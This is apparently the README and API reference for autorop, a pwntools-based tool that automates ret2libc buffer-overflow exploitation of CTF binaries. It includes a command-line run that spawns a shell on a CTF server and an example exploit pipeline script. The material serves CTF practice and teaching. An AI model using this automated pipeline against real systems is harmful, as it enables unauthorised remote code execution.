autorop
Automated solver of classic CTF pwn challenges, with flexibility in mind.
Official documentation can be found at autorop.readthedocs.io.
Disclaimer
Do not use this software for illegal purposes. This software is intended to be used in legal Capture the Flag competitions only.
Command line
$ autorop
Usage: autorop BINARY [HOST PORT]
$ autorop tests/bamboofox/ret2libc bamboofox.cs.nctu.edu.tw 11002
[*] '/home/mariusz/Projects/autorop/tests/bamboofox/ret2libc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[*] Pipeline [1/5]: Corefile()
[+] Starting local process 'tests/bamboofox/ret2libc': pid 18833
[*] Process 'tests/bamboofox/ret2libc' stopped with exit code -11 (SIGSEGV) (pid 18833)
...
[*] Switching to interactive mode
Hello!
The address of "/bin/sh" is 0x804a02c
The address of function "puts" is 0xf7e43da0
$ wc -c /home/ctf/flag
57 /home/ctf/flag
API
Importing autorop automatically does a from pwn import *
, so you can use all of pwntools’ goodies.
Central to autorop’s design is the pipeline. Most functions take in a PwnState
, and pass it on to the next function with some attributes changed. Pipeline
copies* the PwnState
between each function so mutations are safe. This allows great simplicity and flexibility.
See how the below example neatly manages to “downgrade” the problem from something unique, to something generic that the Classic
pipeline can handle.
from autorop import *
BIN = "./tests/tjctf_2020/stop"
def send_letter_first(tube, data):
# the binary expects us to choose a letter first, before it takes input unsafely
tube.sendline("A")
# send actual payload
tube.sendline(data)
# create a starting state
s = PwnState(BIN, lambda: process(BIN))
# set an overwriter function, if the buffer overflow input
# is not available immediately
s.overwriter = send_letter_first
# use base classic pipeline, with printf for leaking
pipeline = turnkey.Classic(leak=leak.Printf())
result = pipeline(s)
# switch to interactive shell which we got via the exploit
result.target.interactive()
* Note: Although most of the attributes are deep-copied, target
and _elf
are not.
Install
Install autorop itself. You might want to be in your python virtual environment. After cloning, install with pip:
$ git clone https://github.com/mariuszskon/autorop && cd autorop && pip install .
Make sure corefiles are enabled and are plainly written to the right directory:
# sysctl -w kernel.core_pattern=core.%p
(Optional) Install libc-database into
~/.libc-database
(or your own location then editstate.libc_database_path
).All done!
autorop
autorop package
Subpackages
autorop.arutil package
- class autorop.arutil.OpenTarget.OpenTarget[source]
Bases:
autorop.toplevel.Pipe.Pipe
- autorop.arutil.align_call.align_call(rop, func, args)[source]
Align the stack prior to making a rop call to it.
- Parameters
rop (
ROP
) – Current rop chain, just before making the call to the function.func (
str
) – Symbol name of the function to call.args (
List
[int
]) – Arguments to pass to the function.
- Return type
ROP
- Returns
Reference to the mutated
rop
, performing the function call ensuring the stack is aligned.
- autorop.arutil.align_rop.align_rop(rop, n)[source]
Pad
rop
ton
words usingret
instructions.- Parameters
rop (
ROP
) – The rop chain to pad.n (
int
) – the minimum size of the rop chain after padding, in words.
- Return type
ROP
- Returns
Reference to the mutated rop chain
rop
, which is padded to be at leastn
bytes long.
- autorop.arutil.leak_helper.leak_helper(state, leaker, symbols, offset=0)[source]
Leak libc addresses using a leaking function.
This function leaks the libc addresses of
symbols
using rop chain built byleaker
, placing them instate.leaks
.leaker
msut separate leaks using newlines.- Parameters
state (
PwnState
) –The current
PwnState
with the following settarget_factory
: Producer of target to exploit._elf
: pwntoolsELF
ofstate.binary_name
.overwriter
: Function which writes rop chain to the “right place”.vuln_function
: Name of vulnerable function in binary, which we can return to repeatedly.
leaker (
Callable
[[ROP
,int
],ROP
]) – function which reads arbitrary memory, newline terminated.symbols (
Iterable
[str
]) – what libc symbols we need to leak.offset (
int
) – offset, in bytes, from the start of the GOT address of each symbol at which to begin leak, treating previous bytes as zeroes (this is helpful if the leaker function terminates on a zero byte)
- Return type
- Returns
Mutated
PwnState
, with the following updatedtarget
: The instance of target from which we got a successful leak. Hopefully it can still be interacted with.leaks
: Updated with"symbol": address
pairs for each function address of libc that was leaked.
- autorop.arutil.load_libc.load_libc(state)[source]
Load the libc specified in the given state into a pwntools’
ELF
.- Parameters
state (
PwnState
) –The state, with the following set
libc
: Path totarget
’s libc.libc_base
: Base address oflibc
, orNone
if unknown.
- Return type
ELF
- Returns
Loaded
ELF
of the libc with attributes set as expected.
- autorop.arutil.pad_rop.pad_rop(rop, n)[source]
Append
n
ret
instructions torop
.- Parameters
rop (
ROP
) – The rop chain to pad.n (
int
) – The number ofret
instructions to padrop
with.
- Return type
ROP
- Returns
Reference to mutated rop chain
rop
, which has had exactlyn
ret
instructions appended to it.
- autorop.arutil.pretty_function.pretty_function(name, args)[source]
Produce a pretty textual description of a function call.
Produce a string describing a function call. This is of the form: name(args[0], args[1], …)
- Parameters
name (
str
) – Name of function.args (
Iterable
[Any
]) – The arguments passed to said function.
- Return type
str
- Returns
Textual description of function call to the function name with the provided arguments.
autorop.assertion package
autorop.bof package
- class autorop.bof.Corefile.Corefile[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Transform the given
PwnState
to have a buffer overflowoverwriter
.- Parameters
state (
PwnState
) –The current
PwnState
with the following setbinary_name
: Path to binary.bof_ret_offset
: (optional) If notNone
, skips corefile generation step.overwriter
: Function which writes rop chain to the “right place”.
- Return type
- Returns
Mutated
PwnState
, with the following updatedbof_ret_offset
: Updated if it was not set before.overwriter
: Now calls the previousoverwriter
but withbof_ret_offset
padding bytes prepended to the data given, and reading the same number of lines as were observed at the crash.
- __init__()[source]
Find offset to the return address via buffer overflow using corefile.
This pipe not only finds the offset from the input to the return address on the stack, but also sets
state.overwriter
to be a function that correctly overwrites starting at the return address.You can avoid active corefile generation by setting
state.bof_ret_offset
yourself - in this case, thestate.overwriter
is set appropriately.
autorop.call package
- class autorop.call.Custom.Custom(func_name, args=[], align=False)[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __init__(func_name, args=[], align=False)[source]
Call an arbitrary function using rop chain.
Call an arbitrary function using rop chain. This is basically a thin wrapper around using ROP in pwntools.
- Parameters
func_name (
str
) – Symbol in executable which we can return to.args (
List
[Any
]) – Optional list of arguments to pass to function.align (
bool
) – Whether the call should be stack aligned or not.
- Returns
Function which takes a
PwnState
, doing the call, and returns reference to the newPwnState
.
- class autorop.call.SystemBinSh.SystemBinSh[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Call
system("/bin/sh")
on the currentstate.target
.- Parameters
state (
PwnState
) –The current
PwnState
with the following settarget
: What we want to exploit._elf
: pwntoolsELF
ofstate.binary_name
.libc
: Path totarget
’s libc.libc_base
: Base address oflibc
.vuln_function
: Name of vulnerable function in binary, which we can return to repeatedly.overwriter
: Function which writes rop chain to the “right place”.
- Return type
- Returns
The given
PwnState
.
autorop.leak package
- class autorop.leak.Printf.Printf(short=False, leak_symbols=['__libc_start_main', 'printf'])[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Transform the given state with the results of the leak via
printf
.- Parameters
state (
PwnState
) – The currentPwnState
.- Return type
- Returns
The mutated
PwnState
, with the following updatedtarget
: The fresh instance of target from which we got a successful leak. Hopefully it can still be interacted with.leaks
: Updated with"symbol": address
pairs for each function address of libc that was leaked.
- __init__(short=False, leak_symbols=['__libc_start_main', 'printf'])[source]
Leak libc addresses using
printf
.This returns a callable which opens a new target, and leaks the addresses of (by default)
__libc_start_main
andprintf
usingprintf
, placing them instate.leaks
.- Parameters
short (
bool
) – Whether the attack should be minimised i.e. leak only one address.leak_symbols (
Iterable
[str
]) – What symbols should be leaked.
- class autorop.leak.Puts.Puts(short=False, leak_symbols=['__libc_start_main', 'puts'])[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Transform the given state with the results of the leak via
printf
.- Parameters
state (
PwnState
) – The currentPwnState
.- Return type
- Returns
The mutated
PwnState
, with the following updatedtarget
: The fresh instance of target from which we got a successful leak. Hopefully it can still be interacted with.leaks
: Updated with the"symbol": address
pairs for each function address of libc that was leaked.
- __init__(short=False, leak_symbols=['__libc_start_main', 'puts'])[source]
Leak libc addresses using
puts
.This returns a callable which opens a new target, and leaks the addresses of (by default)
__libc_start_main
andputs
usingputs
, placing them instate.leaks
.- Parameters
short (
bool
) – Whether the attack should be minimised i.e. leak only one address.leak_symbols (
Iterable
[str
]) – What symbols should be leaked.
- Returns
Function which takes the state, and returns the mutated
PwnState
, with the following updatedtarget
: The fresh instance of target from which we got a successful leak. Hopefully it can still be interacted with.leaks
: Updated with"symbol": address
pairs for each address that was leaked.
autorop.libc package
- class autorop.libc.Auto.Auto[source]
Bases:
autorop.toplevel.Pipe.Pipe
- class autorop.libc.Database.Database[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Acquire libc version using local installation of libc-database
- __init__()[source]
Acquire libc version using local installation of libc-database
We can programmatically find libc based on function address leaks (two or more preferred). This pipe will set
state.libc
, including settingstate.libc.address
for ready-to-use address calculation.
- class autorop.libc.Rip.Rip[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Acquire libc version using https://libc.rip.
We can programmatically find and download libc based on function address leaks (two or more preferred). This function sets
state.libc
, including settingstate.libc.address
for ready-to-use address calculation.- Parameters
state (
PwnState
) –The current
PwnState
with the following setleaks
: Leaked symbols of libc.
- Return type
- Returns
Mutated
PwnState
, with the following updatedlibc
: Path totarget
’s libc, according to https://libc.rip.libc_base
: Base address oflibc
.
- __init__()[source]
Acquire libc version using https://libc.rip.
We can programmatically find and download libc based on function address leaks (two or more preferred). This pipe will set
state.libc
, including settingstate.libc.address
for ready-to-use address calculation.
autorop.toplevel package
- class autorop.toplevel.Pipe.Pipe(params)[source]
Bases:
object
- __init__(params)[source]
Create a “pipe” which operates on a
PwnState
.Pipes are abstractions that perform a single logical “step” on a
PwnState
, returning the modifiedPwnState
.- Parameters
params (
Iterable
[Any
]) – The initialisation parameters which describe this pipe.- Returns
A pipe, which takes and returns a single
PwnState
.
- class autorop.toplevel.Pipeline.Pipeline(*pipes)[source]
Bases:
autorop.toplevel.Pipe.Pipe
- __call__(state)[source]
Execute the pipeline.
Execute the saved pipeline sequentially, making a copy of
PwnState
before each function call.
- __init__(*pipes)[source]
Produce a pipeline to put
PwnState
through a sequence of Pipes.Produce a state-copying function pipeline, which executes
funcs
sequentially, with the output of each function serving as the input to the next function.The state is copied on every call, for future black magic caching reasons. This means that every function receives its own copy.
- Parameters
pipes (
Pipe
) – Functions which operate on thePwnState
and return anotherPwnState
.- Returns
Pipe which puts
PwnState
throughfuncs
and returns thePwnState
returned by the last function.
- class autorop.toplevel.PwnState.LibcGetter(*args, **kwds)[source]
Bases:
typing_extensions.Protocol
- __call__(state)[source]
Perform an operation on the state, likely getting the libc based on leaks.
- Return type
- __init__(*args, **kwargs)
- class autorop.toplevel.PwnState.OverwriterFunction(*args, **kwds)[source]
Bases:
typing_extensions.Protocol
- __call__(_OverwriterFunction__t, _OverwriterFunction__data)[source]
Function which writes rop chain to the “right place”
Function which writes rop chain to e.g. the return address. It might be as simple as prepending some padding, or it might need to do format string attacks.
- Parameters
__t – Where to write the data to.
__data – The data to write at the “right place”.
- Return type
Any
- Returns
Anything it likes, the result is ignored.
- __init__(*args, **kwargs)
- class autorop.toplevel.PwnState.PwnState(binary_name, target_factory, libc_getter=None, vuln_function='main', libc_database_path='/home/docs/.libc-database', libc=None, libc_base=None, bof_ret_offset=None, overwriter=<function default_overwriter>, leaks=<factory>, target=None, _elf=None)[source]
Bases:
object
Class for keeping track of our exploit development.
- __init__(binary_name, target_factory, libc_getter=None, vuln_function='main', libc_database_path='/home/docs/.libc-database', libc=None, libc_base=None, bof_ret_offset=None, overwriter=<function default_overwriter>, leaks=<factory>, target=None, _elf=None)
- binary_name: str
Path to the binary to exploit.
- bof_ret_offset: Optional[int] = None
Offset to return address via buffer overflow.
- leaks: Dict[str, int]
Leaked symbols of
libc
.
- libc: Optional[str] = None
Path to
target
’s libc.
- libc_base: Optional[int] = None
Base address of
target
’s libc.
- libc_database_path: str = '/home/docs/.libc-database'
Path to local installation of libc-database, if using it.
- libc_getter: Optional[autorop.toplevel.PwnState.LibcGetter] = None
Which libc acquisition service should be used.
libc.Database
is faster, but requires local installation. Automatically set tolibc.Database
if available inlibc_database_path
, otherwiselibc.Rip
.
- overwriter(data)
Function which writes rop chain to the “right place”
- Return type
None
- target: Optional[pwnlib.tubes.tube.tube] = None
Current target, if any. Produced from calling
target_factory
.
- target_factory: autorop.toplevel.PwnState.TargetFactory
What we want to exploit (can be local, or remote). You need to pass in something that can produce a pwntools’ tube for the actual target. This may be called multiple times to try multiple exploits.
- vuln_function: str = 'main'
Name of vulnerable function in binary, which we can return to repeatedly.
- class autorop.toplevel.PwnState.TargetFactory(*args, **kwds)[source]
Bases:
typing_extensions.Protocol
- __call__()[source]
Produce a fresh pwntools’ tube of the target.
Create a
tube
of the desired target. This may be called multiple times to try multiple different exploits.- Return type
tube
- Returns
Instance of target to exploit.
- __init__(*args, **kwargs)
- autorop.toplevel.constants.CLEAN_TIME = 0.5
pwntools
tube.clean(CLEAN_TIME)
, for removing excess output
- autorop.toplevel.constants.STACK_ALIGNMENT = 16
Stack alignment, in bytes Ubuntu et al. on x86_64 require it (https://ropemporium.com/guide.html#Common%20pitfalls) and some 32 bit binaries perform
and esp, 0xfffffff0
inmain
autorop.turnkey package
- class autorop.turnkey.Classic.Classic(find=Corefile(), leak=Puts(False, ['__libc_start_main', 'puts']), lookup=Auto(), shell=SystemBinSh())[source]
Bases:
autorop.toplevel.Pipeline.Pipeline
- __init__(find=Corefile(), leak=Puts(False, ['__libc_start_main', 'puts']), lookup=Auto(), shell=SystemBinSh())[source]
Perform a “classic” attack against a binary.
Launch a find-leak-lookup-shell attack against a binary. I made up this term. But it is a common pattern in CTFs.
Find: Find the vulnerability (e.g. how far we need to write to overwrite return address due to a buffer overflow).
Leak: Find out important stuff about our context (e.g. addresses of symbols in libc, PIE offset, etc.).
Lookup: Get data from elsewhere (e.g. download appropriate libc version).
Shell: Spawn a shell (e.g. via ret2libc, or via syscall).
The default parameters perform a ret2libc attack on a non-PIE/non-ASLR target (at most one of these is fine, but not both), leaking with
puts
. You can setstate._elf.address
yourself and it might work for PIE and ASLR. We use find the libc automatically (likely using libc.rip), and then spawn a shell on the target.- Parameters
find (
Pipe
) – “Finder” of vulnerability.autorop.bof
may be of interest.leak (
Pipe
) – “Leaker”.autorop.leak
may be of interest.lookup (
Pipe
) – “Lookup-er” of info.autorop.libc
may be of interest.shell (
Pipe
) – Spawner of shell.autorop.call
may be of interest.
- Returns
Function which takes a
PwnState
, and returns the newPwnState
.